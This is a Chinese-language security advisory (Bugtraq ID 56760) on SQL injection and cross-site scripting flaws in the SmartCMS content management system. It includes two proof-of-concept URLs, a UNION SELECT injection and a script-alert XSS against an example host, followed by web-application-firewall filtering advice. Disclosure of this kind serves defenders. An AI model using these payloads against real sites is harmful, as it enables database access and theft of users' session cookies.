chlintin 2012-12-04
发布日期:2012-11-30
更新日期:2012-12-04
受影响系统:
smartcms smartcms
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 56760
灵动(SmartCMS)内容管理系统,拥有文章、图片、下载、问答、论坛/留言、站内调查、友情链接、广告系统、自定义模型、自定义表单等众多丰富的功能模型。
SmartCMS的某些脚本文件没有对其参数进行有效的检查和过滤,造成SQL注入和跨站脚本漏洞,利用这些漏洞可允许攻击者窃取cookie身份验证凭证、破坏应用、访问或修改数据、利用下层数据库内的其他漏洞。
<*来源:Pr0T3cT10n ([email protected])
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
SQL-injection:
http://www.example.com/index.php?menuitem=29+AND+1=2+UNION+ALL+SELECT+version()--
Cross-site scripting:
http://www.example.com/index.php?menuitem=26&amp;domeinvraag=&lt;script&gt;alert(1);&lt;/script&gt;&amp;aktie=Zoek&amp;idx=23
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
*开启web应用防火墙过滤危险参数"select",";","'"等。
*或者暂停使用SmartCMS。
厂商补丁:
smartcms
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: